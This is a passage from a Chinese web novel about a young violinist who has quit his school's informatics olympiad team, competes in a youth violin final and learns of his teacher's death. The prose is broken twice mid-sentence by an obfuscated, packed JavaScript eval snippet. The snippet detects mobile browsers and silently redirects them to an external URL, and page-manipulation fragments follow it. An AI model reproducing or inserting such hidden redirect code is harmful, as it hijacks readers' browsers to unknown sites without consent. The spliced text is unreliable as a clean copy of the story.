的团体金牌已睽违多年了。本来,他、傅尧、彭昱是很罕见的从小学就开始同班的同班同学,而方灵烨在升入初中之前的那个暑假就特招进了信竞队,和他们玩在一起。大家都很聊得来,彼此默契十足,在他看来,在集训的时候,说是同食同眠也不为过。这也导致了1+1+1+1>4,他们的团队合作时常会爆发出超乎寻常、令人意想不到的能量,他们作为一个团队,互相之间总能激发出智慧的火花。 学校和老师培养了他们这么多年,原来的计划是,在今年的NOI,至少保证3人夺金进入国家集训队,然后按照他们多年的默契,争取国家队出战 IOI 的名额。 在冬假集训的时候,宋美人和老肖都对他们四个寄予厚望,再不济还有张铎,他们甚至觉得,国家队4个最终名额,他们学校都能到手。 然而,是他和傅尧的退出,毁了这一切。 谁也不能轻易地对荣誉和胜利说不。本来,在和顾仲景的那场谈话后,他就已经尽快地把退出比赛的决定给老肖了。虽然感到很遗憾,但老肖一向是一个很尊重学生自主意愿的人,况且那时候他退了,队里受的影响尚可以弥补。有方灵烨来冲击这块金牌虽说冒险,都也未尝不可。而四个人的团队少了他,张铎也可以顶上,即使临时有些生涩,经过一段时间的磨合,总算不会太捉襟见肘。 然而,傅尧在开学后对集训的连连缺席旷课,以及最后简单的一条“对不起,我退出“的短信,算是压倒骆驼的最后一根稻草。 团队里,顾梓聿拿过两次 NOI 金牌,入选国家集训队;傅尧拿过一次 NOI 金牌,入选国家集训队,也是唯一一个走到过 IOI 赛场上的队员。他们两个一起退出,别说一个张铎能不能扛得住,这样对于整个队伍士气的毁灭性打击令当初的豪言壮志都成为了泡影。 还记得在假期集训的时候,他们一起刷题,一起打球,一起玩“杀人游戏”;平常在学校。他们能一起翘掉体锻、大课间、自习课去泡机房,休息的时候就坐在一起听老肖讲他的大学罗曼史。至今,他的书架上还放着宋美人送的专业书。 信息学竞赛是他最早开始接触的竞赛之一,和数竞一起,将近五年多的时光,从还是小学生时,大家就一起努力,最后换来的仅是这样一个结果。换做被放鸽子的是他自己,想来他也不会轻易就谅解。更别说前两年为了迁就自己的时间安排,即使最后进了国家集训队的小名单,学校也默许他弃赛 IOI。这样的信任和尊重,他最后报以回馈的是什么呢? 之后见到宋美人和老肖,对于他特意讨好地、特别谄媚地打招呼,老肖还会搭理一下,宋美人就只是淡淡地目不斜视地走过去,就如同陌路人,相见不相识。这种漠视,几乎要令他崩溃。 如今,更多时候,在原本应该去机房集训的时间,他就会去信息楼旁边的综合艺术楼里的琴房练琴。若不然,在教室一片安静的自习气氛中,他只会更无可救药地想起那些熟悉的题,那些练习过无数次仿佛刻在心里的流程图,那个机房里特有的充斥着电荷微粒的特殊气味,那样花费半个小时仔细研究一道题最后写出程序出来大家相视一笑的满足和快乐,那种手指在键盘上飞速融击的快感,就如同手指在小提琴指板上飞跃换把的快感一样,都令他欲罢不能。 或许别人眼里,他是个不在乎集体荣誉的人,根本不把他人感受放在心上。他倒是想和大家一起无所顾忌地去挑战、去争取胜利甚至去体味失败的苦涩啊!但又有谁能知道被迫放弃的他的迷茫与痛苦? 以往他把竞赛成绩当作是自己奋斗的目标,于是他就把所有的时间都分给了竞费。拿到奖项肯定的那一刻,心里不是不欣喜的。上次化学竞赛,他拿到全国二等奖,程琤很不满意,但他却很知足。因为知识是无穷无尽的,这次二等奖,下次就再接再励拿一等奖呗。 然而,这个愿望现在也不可能实现了。 曾经,他也问过自己,这样忙碌的生活真的是自己想要的吗?那时候,尽管他的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266197|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答是“是”,但仿佛自己还有点不得不为的委屈,因为虽然充实,但确实很累很苦。 而现在,当他将自己从这些忙碌的竞赛中解脱出来时,他一下子拥有了太多的时间、太多的自由,可他却变得如此空虚无措,以至于他都有点不知道自己该干点什么来打发时间。 他之前就像是一个车轮,安装在一辆运转良好的车子上。轮胎飞速地运转,而车子有序地行驶在马路上,即使不知道终点可能在哪里,但之前的每一站他都准时完美地抵达了。 然而有一天,螺丝松了,这个轮胎突然掉了,就算他凭着惯性接着走了一小段路,但轮胎的质量也不大,他终于因为摩擦力做功而停下了转动。现在,他被孤零零地遗落在路上,不知道怎样走,不知道往哪个方向走。 他开始学着花时间去做以前不会做的事:欣赏校园里花圃开的迎春花,在图书馆旁边的凤凰木下坐着发呆,分析光荣榜上谁的座右铭更有文采,当然,这时候他自己的名字已经不在上面了。课间不用急急忙忙刷题,而是跟前座妹子聊天开玩笑,也有时间来看看一些闲书了,甚至,他还学会了如何烹饪一些美味菜肴。 当然,还有一个好处,他也有更多的时间来练琴了。 罢了,本是一身轻松无事扰,居然还要兀自强说愁。他自失一笑,熟练地把心头汩汩冒出的巨大的无望和颓丧收拾打包了扔在脑后——他一向是个极会自我调整的人,更何况这种负面情绪,是现在的他最不需要的。 仅仅为了这点小事儿就这样伤春悲秋?他何至于如此不明事理、不分轻重缓急。 打开手畔的琴盒,取出琴,琴把处因为长期的把握触磨而被沁成了迷人的琥珀色。顾梓聿轻轻地摩挲着琴背板上的虎皮纹,最后还是没有拉琴,只是拿绒布蘸了点清洁油擦去指板上的松香尘迹。 决赛的现场,不再只是央音的音乐厅了,而是帝国大剧院的4号音乐厅。 帝国大剧院的外表像个喜庆的大灯笼,毗邻水畔,有若一颗“湖中明珠”。夜间,嵌在外壳建筑上的500多盏蘑菇灯就会散发出点点星芒,与远处长安街上其他灯火通明的建筑遥相呼应,映衬在水中,天上的星河与地上的星河隐隐相连,共同托出那一轮明月,可用唐代张若虚的诗句“滟滟随波千万里,何处春江无月明”来形容。 因着比赛时间尚早,在前往练琴房准备之前,顾梓聿仍饶有兴致地仔细打量了一番这座堪称建筑美学与声学艺术完美融合的音乐殿堂。 4号音乐厅以白色为主色调,整体风格宁静清新,又不失庄重肃穆。它采用了改良的“鞋盒式”设计,舞台略微下沉,恰好位于音乐厅的中央,使演奏者既能清晰听见自己的演奏,又能与乐团或伴奏形成良好的音响平衡。 墙面与天花板均装配了特制的声扩散板,以减少低频吸收,使音色更加饱满。此外,悬挂在顶棚下的“龟背反声板”进一步优化了声音的传播与散射,使整个音乐厅的混响时间可达2.2秒,赋予音符更加立体而悠长的回响。 再配上那具迄今为止体积最大、栓数最多、音管最多、音色最丰富的出自德意志名门的管风琴,即使是对于身经百战的顾梓聿来说,在配置如此豪华的音乐厅演出也不是常有之事。更何况这次并不是演出,而是冲突激烈、易生变数的现场比赛呢。 微微点头向其他几位已经先到的比赛选手致意,顾梓聿的心跳悄悄加快,他感觉到自己全身的细胞似乎都加快了新陈代谢的速度,而他的双手,正随着心脏加速擂动而微微发颤。 不是害怕或紧张,而是名剑即将出鞘时不可抑止的激动。 17. 决赛之夜 今晚的少年组决赛,参赛者们分别要面对两轮比赛,分下午和晚上两场。 第一轮,下午两点,选手们将演奏一首古风炫技乐曲《山中醉》和一首个人自选乐曲; 第二轮,晚上七点,选手们将在没有指挥的情况下亲自个人领奏乐团,表演维瓦尔第《四季》中的一个乐章。 之后,大赛评委们将现场宣布名次,优胜者将得到一系列的学习和表演机会,参加大师班或音乐会。 由于在大赛选拔时,评委们已经首先看过了选手们的演奏录像带,心里有了大概的印象。而初赛,也是通过规定的协奏曲和即兴演奏摸清二十名选手的基本水平和大致风貌。应该说,直到少年组的这一轮决赛,才能真正地考验出选手的综合水平。 一座城市给人的第一印象,除了经济上的,还有文化上的。鹿城的人均生产总值位居帝国前列,而它更是一座文化之城、音乐之城:鹿洞书院培养出了无数人才,每代山长都是历史上盛名赫赫的饱学之士,鹿城爱乐乐团享誉世界,还有传承千年文化的地方戏剧团、曾获世界大奖的男童合唱团等数不胜数的各级各类艺术团体。顾梓聿所属的鹿城学生交响乐团更是其中翘楚,被称为是鹿城爱乐乐团的“预备役”。 这些年来,华纳的新生代演奏家中,最弱的不是独奏,却是乐团。在一个乐团里,小提琴首席的作用非常关键,甚至可以说,他是整个乐团的灵魂人物,他的水平能够影响整个乐团的发挥。宋熙和当年也是从学生乐团走出来的,可以说,乐团的经历为他的艺术生涯奠定了坚实的基础。 而能在8岁还在用四分之三琴就通过考试进入乐团一提,10岁就力压专业院校的学长学姐担任第一小提琴首席的顾梓聿,能力自然不容小觑。 “梓聿,有些紧张吗?” 听众陆续进场,大部分是乐界人士,琴童或是参赛者的亲友团。选手们已经陆续去了后台,顾梓聿却还在座位上,似乎是在发呆。 “啊,师兄。”头脑放空的顾梓聿一下被惊醒,连忙站起躬身问好。 眼覷着宋熙和坐下,他才小心翼翼地回答道:“也不是紧张,就是,嗯,我现在,手上好像有点虚。” 虽然这段日子以来,宋熙和顾梓聿之间也算是熟悉了很多,但顾梓聿对这位师兄仍是尊重中带着敬畏,即使宋熙和看起来对他很是亲近爱护,他也没办法做到像是之前和程琤相处那样,亲热地甚至有点没大没小。 “嗯?”宋熙和微皱了一下眉头。 “我这两天没有练琴…” 不敢抬头看师兄的脸,顾梓聿已经在后悔为什么自己如此轻易地就把底给露了出来。他用余光注视着师兄的脚或者手,准备如果一有端倪他就… “嘶——”还是没逃开。 顾梓聿强忍住龇牙咧嘴的欲望,一边不动声色暗自揉着痛处,一边使劲逼出泪意,水光粼粼的双眼可怜兮兮地望着宋熙和,却一点也不敢张嘴出声。 “你都学了这么久的琴,难道不懂得 ‘曲不离口,琴不离手’ 的道理吗?两天没练琴!是,观众听不出来,可能评委也听不出来,但你自己听不出来吗?你这样做是在敷衍你自己!” 宋熙和十分严厉地盯着顾梓聿,一旁的姜明珺都不敢插话,只能帮忙尽量挡掉其他人好奇的窥探目光。 顾梓聿被训斥得面红耳赤,一直低着头,他觉得自己臊的头上都可以冒出蒸汽了,“师兄,我知道错了,下次真的不敢了!” “算了,你去准备吧。”宋熙和叹了口气,顾梓聿立时如蒙大赦般,半个字也不敢多说,拿上琴就去后台。 宋熙和看着他的背影,“明珺,你这两天都和梓聿在一起吧,介意告诉我为什么他没练琴吗?” “呃…”姜明珺语塞了,她试图顾左右而言他,极力躲避宋熙和慑人的目光,“嗯,我也不太清楚啊师兄…” 按照初赛成绩排位,顾梓聿是倒数第二个出场。 此时,已经是下午四点,他在后台已经听过六遍《山中醉》,两遍萨拉萨蒂的《卡门幻想曲》,三遍瓦克斯曼的《卡门幻想曲》和一遍圣桑的《引子与随想回旋曲》。尽管自选乐曲大都撞车,但选手们都进行了不一样的演绎,烙下了独特的个人印记,使得同样的乐曲有着不同的风味。 然而,不知是否由于之前这六位选手都来自外国的缘故,国风乐曲《山中醉》的演绎却是略微差了些,从节奏到速度到韵味都不够味道。相比之下,只有一个来自南韩的胖胖的小姑娘李蔥琦还算有点意思,虽说“醉”的味道不够劲,但好歹也有几分山泉的清冽。 这首古风乐曲《山中醉》是从数以百计的候选作品中脱颖而出的上乘佳作,而令人咂舌的是,作者年纪还不到二十岁,是央音的在读学生。据他自己的创作手记,灵感来源于一次山中旅行。山上景色秀丽,大家饮酒高歌,一时只觉得身处仙境,兴之所致,便手舞足蹈,尽兴方归,颇有几分魏晋时人的洒脱不羁。 正所谓“一瓯解却山中醉,便觉身轻欲上天”,在第一次读谱的时候,顾梓聿便觉得这一曲读下来有股周身通达舒畅的爽快气魄。 和初赛时一样,同样简简单单的休闲打扮,米白色羊绒衫内搭金黄色条纹窄领衬衣,修身的九分卡其裤配麂皮牛津鞋,顾梓聿手持琴、弓上台,顿时引起了台下女性一片小小的惊呼。清亮纯澈的凤眼瞳眸,形状迷人的嫣红嘴唇,五官虽稍显女性化的少年此时俨然已经有了种青春逼人的男性魅力。 “怎么回事?”宋熙和皱起了眉头,“上次就跟他讲了要穿正式一点,就算不穿西装也该打个领结,这算什么模样?即使没有“着装”这个打分项,他也应该严肃点。这样会给评委留下坏印象的。” 姜明珺在一旁暗自吐舌:坏印象?不可能。师兄您是没有看到那几个上了年纪的女评委那种散发着十足热力的赤裸裸的眼神吗… 轻吐一口气,顾梓聿随意地架起了琴,举起弓,就连站姿都不再是十分规整的模样,整个人从头到脚的状态都是十分放松的,仿佛就这么轻易地,弓毛如微风一样拂过琴弦,音箱微微振动,轻缓的揉弦带出那空幽竹篁的山色静谧。 继而,男孩缓缓上前两步,那带着幻想色彩的乐曲主题就这样流淌开来,空旷的舞台上被乐声充盈,仿佛他就漫步于雨后山林之中,众人似乎都可见得清风穿行于叶底,山涧小溪微泛波润,松林轻摆发出沙沙声响,而一群年轻游人正已微醺。不知究竟是醉于佳酿,还是醉于美景。 虽然这首《山中醉》是炫技作品,然而民族特点决定了这首古风的作品即使对技巧有极高的要求,但它的作品内涵绝非仅仅停留于瑰丽的华彩乐段,它的整体风格还是内敛而含而不露的。 对于这首来自心灵深处的诗歌,顾梓聿的演奏细腻而含蓄,对于华彩乐段,例如他十分擅长的和弦大跳、双音移指、双音部装饰音等,他的演绎自然流畅、举重若轻,比起其他选手来说刻意渲染以致稍微有些过火的气氛,他一直把握地恰到好处,甚至不留痕迹地让人根本意识不到,是他在掌控乐曲,而不是乐曲在掌控他。 至于醉后的那份疏狂潇洒,他更表现得轻盈洒脱、性灵十足。观众很轻易地就能感受到那一份同样的山中醉。 “很了不起。”评委之一、来自东洋的小提琴演奏家、东京国立乐团小提琴首席、费城爱乐乐团荣誉首席大冢美佳子点评道。 她邻座的华纳最富盛名的小提琴教育家、演奏家林耀基慎重地点了点头。 在座九位评委中,虽然也有其他亚裔,但只有他们是唯二成长在浸润了古老禅意的东方背景下,最能明白顾梓聿这份演绎的分量的人。林耀基因年事已高,睽违国际赛事已久。今年他以74岁高龄不辞辛劳再度担任评委,不过是期待着在这场家门口的赛事中能再见到有为后辈,给予提点,尽自己最后一份心力。 在初赛中,他也是见过顾梓聿惊人地表现的,不过那时候尚可以解释为勤学苦练,“唯手熟尔”,但这首乐曲的演绎完完全全地展现了这个少年的灵性十足。似乎他天生就是为了小提琴而生的。那份若即若离、似有还无的高超乐感使听众都不自觉深深投入,而他也似乎自得其乐、沉浸于其中,又时刻把握着一个度。 太难得了,这样的掌控力,他竟从没在同龄人身上见到过。 郭家的那个小丫头,恐怕这回得输。林耀基苦笑着摇摇头,随即翻找起了顾梓聿的资料。 轻轻地结束了最后一个余音,顾梓聿并未致意,只是侧头夹着琴,略微紧了紧弓毛,随即便望向目己左前方的钢琴伴奏师,见其微颔首,便再次举弓,伴着琴声,扬弓而起。 是一首耳熟能详的乐曲,来自德沃夏克的《幽默曲》。 优雅的稍缓板,降G大调,2/4拍,复三曲式,前一部分旋律流畅优美,穿插于音符之间的短休止符使乐曲充满了俏皮的色彩;中间部转入同名小调,旋律纯朴动人,具有浓郁的风情;随后再现第一部分,结束。轻盈,美妙,虽是结尾,听起来干脆,却又有一种意犹未尽之感,令人多有留恋之意。 其实宋熙和也好奇过为什么顾梓聿要选取这样一首流行度极高,几乎音乐爱好者们人人熟知的一首作品。它像民歌一样朴实、亲切,虽说优美,但用在比赛场合实在不合适:结构简单,技术要求不足,无法展示技巧,而且风格也过于温柔优美,缺乏竞争力,根本不适合比赛,普通得就像盘前菜沙拉,就是一首小品,根本不适合拿上比赛现场。 但他没想到的是,顾梓聿却是这样回答他的。 “师兄,我学琴这么多年,其实也疲倦过、厌烦过。当我每天只能抽出两、三个小时练琴时,就要花一个小时练音阶,一个小时练练习曲,真正能享受拉曲子的时间又有多少?基本功是很重要没有错,所以学琴的人都花大部分时间在练习上,百遍、干遍,弓法、指法..” “我作为一提首席,好歹在乐队排练中还有些旋律、有些 solo可拉,可是那些三提的孩子,您见过他们的伴奏谱吗?特别枯燥无聊,很少有旋律性的,他们都在为整个乐队服务,有些时候仅仅是几个简单的单音,但他们却得时时刻刻紧跟着我们的节奏,为我们华彩的乐段进行不起眼地衬托,但是,没有衬托、没有和音,乐曲就会失去色彩。” 当时听到这话,宋熙和心里是很不以为然的:学琴嘛,当然得吃苦,流汗流泪都是家常便饭。什么行当不是这样?要想人前显贵,必得人后受罪。他当年一天练上十六、七个小时都是有的,要不怎么叫“宝剑锋从磨砺出,梅花香自苦寒来”呢。 只不过他表面上不动声色,只是看着顾梓聿还能讲出些什么花来。 顾梓聿自顾自地讲下去,居然还有几分语重心长: “师兄,我知道,您觉得练基本功是本分。但是,不是每个学琴的孩子都能像您这样,已经成为大家了还坚持着每天花大量的时间练习。更多的人,他们可能是因为听到了一首小提琴曲,觉得特别好听,因此才有了学习的热情。但这些枯燥的练习很快就会磨灭掉他们的热情。” “您看,大赛的观众很多都是学琴者,如果我能站在舞台上用我的琴声、我的成绩告诉他们,简单的曲子并不意味着低级,甚至可以在专业比赛舞台上出现,是不是能激发他们的信心和动力?或许因为我,又有许多人会爱上小提琴了呢?” “况且,我不相信只有难度高的曲子才具有表现力。难道表现力不是应该和能力成正比的吗?倘若我和师兄一起拉查尔达斯舞曲,难遵听众就分不出水平高低吗?” 看着小师弟一脸的认真坦然,宋熙和竟不自觉地为他所展露出的这份气度而心折:顾梓聿还正是年少气盛的年纪,在这样的赛场上能够不求扬名,敢凭一己之力来鼓动业余爱好者的热情,又信誓旦旦、胸有成竹。这样的事情于己得失如此明显,他明知道此事不可为却又要为之。 他宋熙和,已经很久没有见过这样光风霁月又骄傲无匹的人了。 乐曲逐渐进入尾声,顾梓聿不紧不慢地右手收弓,弓虽停而音不止,他左手仍在指板上揉弦,余音袅袅,如丝如缕。当丝缕终绝,静待片刻,他才放下手中的琴,再次向评委和观众致意。 在全场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266198|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼貌的掌声中,顾梓聿的耳朵敏锐地捕捉到一个声音: “爸比,这首曲子听起来很简单,好像我也可以拉诶!”台下的小朋友萌萌地说,男人的浑厚声音响起:“好啊,那你回去乖乖练习,争取要像这个小哥哥一样厉害哦!” “好哒!”小女生兴奋地答应了,“一定会的!” 那声音真的好萌哦~ 顾梓聿顶着一脸不自知的傻笑下了台,全然没注意旁边女生因他的笑容,也不受控制地嘴角上扬。 一刚走到后台,他就看见郭震正紧紧盯着自己,还不知为什么,便听到郭震开口道: “你的山中醉很强,” “嗯。” 所以,这是表扬吗?那么,自己应该道谢吧。顾梓聿愣了一下,“谢…” “…但是我会打败你的。”郭震打断了顾梓聿的话,自顾自地接道,随即拿了琴,头也不回地走了。 …这算怎么回事?自己是被当面挑战了吗!这突如其来的挑衅真是幼稚到令人无语凝噎好吗! 刚头脑冲动抛下狠话的郭震此时也觉得脸上发热:什么时候自己也变得如此幼稚了? 其实,在第一轮比赛中,她就已经很憋屈了。 这么多年来,在同龄的甚至比她大一个年龄段的琴童中,她都一直占领着绝对优势地位。师长的表扬、同学的仰慕和观众的掌声对于她来说已经是理所当然。而如今杀出了一个并不是科班出身的、听都没听说过的顾梓聿,而且还隐隐有压过她的势头,这令她尤其不能接受。 更不用说那天初赛一下场,所有人都在讨论顾梓聿的g小调奏鸣曲、讨论他的即兴、甚至讨论他和小奥斯特拉赫的异同!这令生性骄傲的她绝对不能忍受!所以她打定主意一定要在这场华纳国风乐曲上压他一头。就凭写出这首曲子的肖斐是她的师兄,她也自信自己能演奏出其中三昧真意。 然而她万万没想到,顾梓聿也领会到了,甚至演绎地居然比她还要好! 事到如今,再发挥同一个主题已经没有意义了,先手为胜,她只能另辟蹊径。 好在今天席上的评委大多数是没有接触过真正的华纳古风的,相比之下,自己的演奏可能更接近他们想象中的“华纳古风”。虽然这样违背了师兄这首曲子的真正本意,但说不定却能赢得大多数评委的心。 郭震持琴扬弓,下颌微抬,一股凌厉的气场透体而出。身着紫罗兰色晚礼服的她霸气而狂野,几乎是狂暴地把连弓拆开,全用下顿弓来切入开场,不由得令评委们精神一振。 然而,场下的观众却是有些无所适从,连同后台正聚精会神竖耳倾听的顾梓聿都有些意外。 这曲子好像,不该这么拉呀? 只听得从郭震手下,一连串乐句如惊雷如闪电,骤风急雨般铺头盖脸而来,如飞瀑直下三千尺,一泻到底。她加强了歌唱性的快板,有奇特的节奏,有辉煌灿烂的部分,快速敏捷的运弓和利落的乐句充满华丽的质感,旋律又转为凝滞晦涩,人们也已经不是陶醉于美景、微醺于佳酿中了,而更像是虎咽牛饮、以酒来麻痹自己干涸的灵魂。 “长江悲已滞,万里念将归。况属高风晚,山山黄叶飞。好哇,这个孩子完全表现出了那种醉的肆意、醉的狂放!她还把略显犹豫的连弓全部断了,断的恰到好处、恰到好处啊!” 说这话的是评委宫新,旅英港岛小提琴家。其他评委见作为华裔的她对于之前的选手无所动容,而轮到郭震便如此激动,先用华纳语吟了一首诗,再热切地小声点评,纷纷觉得恐怕郭震就是那个深刻领悟了乐曲真意的人,便已在心里暗自打分了。 一旁的林耀基和大冢两人听闻,便知结果不妙:大赛有规定,评委们在评分前后不能交头接耳、相互讨论,也没有权力影响他人打分。这样一来,郭震赢得高分已成定局,而最有资格评判的他们二人,却因为规则的限制,便只能看着一群门外汉生生将结果掰向错误的方向。 那宫新本是港岛人,却自小在英格兰生活学习,对传统文化可谓知之甚少,光从其吟诵的那首诗便可看出,根本是文不对题,牛头不对马嘴。此诗是王勃被贬斥后羁旅巴蜀所作,感怀怀才不遇、思乡情苦。若硬要说这诗与这曲子有何关系,恐怕也就只有“山”字相连了。 郭震早已注意到评委席上的热闹动静,正心下稍稍安慰之时,却瞥见一旁的大冢美佳子面色冷淡,而林耀基更是一脸失望之色,忍不住有些后悔:当着林老的面这样地耍小聪明,想必他老人家是看得出来的吧。不过,评分规则是去掉一个最高分,去掉一个最低分,而后取平均分,想来他就算给最低分也对自己没有影响。 同样的自选乐曲,郭震再次以她那种奔放张扬的个性很好地掌控了肖斯塔科维奇的a小调第一小提琴协奏曲。因其诞生于动荡的社会政治环境的背景下,这部作品充满了紧张、阴沉、纠结、怪诞的色彩,她的演奏游刃有余,犹如魔鬼般的狰狞和辛辣,她使用了一系列尖锐的声音、夸张的力度变化、狂野的强劲的节泰来展现作品抑郁扭曲的音乐性格。 尽管很小声,但郭震还是可以听到台上评委和台下观众隐约发出的赞叹声,她想,这回,在她的自选乐曲难度远远超过那家伙的的前提下,林老也应该满意吧。 然而当她志得意满,趁着乐曲间隙想要看看林老表情时,却失望地发现他只是在闭目养神,丝毫没有被自己打动的迹象。 台下正认真观赛的姜明珺觉得座椅上有什么东西一直在振动,她烦不胜烦仔细一看,才发现是刚去后台的宋熙和不慎遗落的手机。 本来嘛,师兄不在,她确实不应该擅自轻动他的手机,但当她发现手机屏幕上闪烁的来电提示正是吴老师的孙女吴嘉佳,她就犹豫了:一连串的来电呢…说不定是嘉佳姐打来询问比赛情况的呢? 姜明珺握着手机,猫腰小步走出观众席,跑向后台,四下看看确实没发现师兄宋熙和的身影,而这期间吴嘉佳又拨来了一次,她实在是忍不住,只好越俎代庖了: “嘉佳姐,我是明珺,师兄有事不在,您有什么事,可以和我说。” 18. 风木含悲 挂了电话,姜明珺只觉得身上的气力一霎间消失殆尽,她不由自主地跌坐在地,眼圈立时泛红,喉间像堵了东西,她却只能以手抚摸颈间,安抚自己不能太过失态,以免引起旁人注意。她已经看到后台有几个收拾了东西出来的选手正对她指指点点了,可这一股惊慌心悸要如何压制?! 她根本无法相信也不愿相信,那样一位严明的师长、慈爱的长辈,居然命不久矣! 吴老师病倒时,他们不曾知道,自然也谈不上探望;可老爷子现在人在 ICU,连下病危通知书,如果他们不赶快回去的话,能否见到老爷子最后一面也未可知啊!到底怎么办?吴老育人数十年,宋熙和和顾梓聿二人可算得上是吴老最挂心的学生了。如果临终之前却不能见一面,吴老能否走的安心? 姜明珺的脑子此时乱哄哄的,简直要炸了! 更要命的是,那几个选手认出她来了,正拉着顾梓聿过来了! 到底是如实告诉他,让他赶上这一趟;亦或是,或是…隐瞒,诓得顾梓聿完成比赛?毕竟,只差那最后一步,顾梓聿便可捧回奖杯了。吴老师,应该也更希望看到顾梓聿能够站上领奖台吧…… 在她脑子一片混乱,什么都没考虑好时,顾梓聿已经看到她了:惨白的脸色、泛红的眼圈、不复之前的兴致高昂。一瞬之间,顾梓聿想到了那个最坏的可能,想到最近的种种端倪,他只觉得一股凉气从脚底直冲到头顶,一阵似曾相识的心悸让他艰难地问出了那句话: “是…是吴老师?” 姜明珺没想到顾梓聿竟然如此敏锐,她还没能张口说些什么,眼泪就不争气地出卖了她。眼看着顾梓聿冷静地一边拿出手机,一边转身走回后台,她一下子手足无措,扑上去问道:“梓聿,你要干什么?” “你好,我要订机票。对,要最近的,从帝都回鹿城,最近的只有八点吗?”姜明珺敏锐地捕捉到了顾梓聿脸上一闪而过的崩溃。她不由地从背后紧紧抱住他,竭尽全力给他一丝温暖:“梓聿,我和你一起回去。” “好,就要两张。”直到顾梓聿输入完支付密码,他才吐出憋了那么久那么久的一口气。 吴老师除了心脏不太好,是个在冬天都能洗冷水澡、平时也很注重保健的人。所以尽管最近吴老师没怎么过问他的比赛准备,他也没有多想,只当吴老师是真的对他极放心,却没想到会听到这样令他心胆俱裂的消息。他现在恨不得肋生双翼,能马上飞回去陪着老师——他已经失去过太多东西,再不想留下遗憾。 “不要再说了,就这样,我们回去酒店收拾东西,马上去机场。”顾梓聿对犹豫不定的姜明珺嘱咐道,却不防宋熙和走了过来,说:“不行!” 姜明珺是像被踩着尾巴的猫一样,惊惶失措地看着面色冰冷的宋熙和从自己手中拿过手机,而后神色冷厉地对顾梓聿说:“你不行,明珺可以先走,你必须比完再回去。” 顾梓聿一改平时毕恭毕敬的听话模样,充耳不闻,拿起琴盒就往外走。他现在根本不想多看这个师兄一眼。在他心里,平时对师兄尊重,有一多半是看在吴老师的情分上。而现在,宋熙和为了让他完成这个比赛,居然向他隐瞒吴老师病重的消息!难道完成比赛比见老师最后一面还重要吗? “顾梓聿,你给我站住!”宋熙和见已经追着顾梓聿出了音乐厅,立刻高喝一声,“去哪里!” 大厅里有些比完赛正在休憩的选手和家属不明所以地看了过来,顾梓聿强自忍耐,停下脚步,转过身来: “师兄,请你尊重我,我现在没有那个心情比赛,只想尽快回去看看吴老师。” “是吗?你也不是医生,现在回去能帮上什么忙?在我看来,你就是个懦夫,没有一点比赛精神。” “我不在乎!我不在乎有没有名次,不在乎别人会怎么看!我只想尽快赶回去见老师!” 见老师…最后一面。 宋熙和说着连自己都无法说服的话,暗自忍着悲痛斥责道:“你忘了比赛前你签过合约的!就这样不声不响突然退赛,你有没有想过影响有多坏?组委会成员都是业界大佬,评委们都是世界知名的音乐家,其他选手将来就是你职业道路上的竞争对手。你现在要在你刚刚迈出第一步的时候,就亲手送给别人将来攻歼你的把柄吗?” 这句话太令人齿冷了!字字句句都好像是为他的将来着想,难道宋熙和就不曾为吴老师想过吗?顾梓聿气不可遏,怒极反笑,连“师兄”二字都耻于出口: “不错,您是最爱惜自己羽毛、最善于为自己筹谋的,跟从吴老师学习数年后后就转投其他名师门下,终于一举成名天下知。可您别忘了,吴老师才是你的开蒙恩师,没有他教导你、为你引荐,你根本不会有今天!” 姜明珺刚追上来就听到顾梓聿的这番话,惊得不知怎么办才好,他一定是气昏头了。旁人已经认出顾梓聿了,要不是宋熙和还带着墨镜,此刻就是一大丑闻! 宋熙和此刻早已被顾梓聿极度不屑的语气激怒,心火高炽。但他顾忌着人多眼杂,硬是按捺下怒火,压低声音:“顾梓聿,我警告你,现在,马上给我回去准备决赛,不然我会让你后悔说过这些话。” “是啊是啊梓聿,最早的航班是八点的,你现在这么早去机场也没有用啊。”姜明珺也忙来劝解,心里却别是一番滋味:理智点,她是支持宋熙和的,可是感情上她也很想回去陪伴那个看着他们长大的、对他们要求严格却又悉心关照的好老师。 想了想,她又违心地说道:“如果你放弃这次机会,以吴老师的性子可能会觉得自己拖了你的后腿,他会生气的吧。你想…” 她的话被优美的铃声打断,不知怎地,顾梓聿手心发汗,有种不详的预感。他抢过宋熙和的手机,一接通,就听到吴嘉佳哽咽的声音。此时,他已经知道将会听到什么了,于是慢慢坐到地上,听着那头声音化作电波,穿越一千七百多公里,断断续续地传来: “宋师兄,爷爷没抢救过来,好在医生说,他走的没有痛苦…之前清醒时,他一直念着小聿的名字,说他的心思重,叫你不要告诉他,让他好好比赛…” 顾梓聿已经听不见电话那头在说什么了。他站起身,机械地把手机还给宋熙和,琴和包都随便扔在地上,一步步走进了盥洗室。 他把门锁上。 盥洗室内焦黄的灯光印在他的视网膜上。 他开始流泪。 洗手台上摆放的百合的香气侵入他的鼻腔。 他觉得喘不上气来。 他拒绝接受。 他拒绝接受那个本来已经不收徒弟为了他而破例那个虽然上课时老吹胡子瞪眼但是却也总是手把手地尽心教导他尽管会因为排练时有瑕疵而当着大家的面扇他巴掌却仍然会在他表现出色的时候骄傲地像个小孩一样大肆表扬逢人就夸关心他琴艺学业身体心理朋友圈甚至是喜欢的人到了最后却还是为了他而隐瞒病情的人就这样离开! 他仰起头。 老头子那么疼爱他! 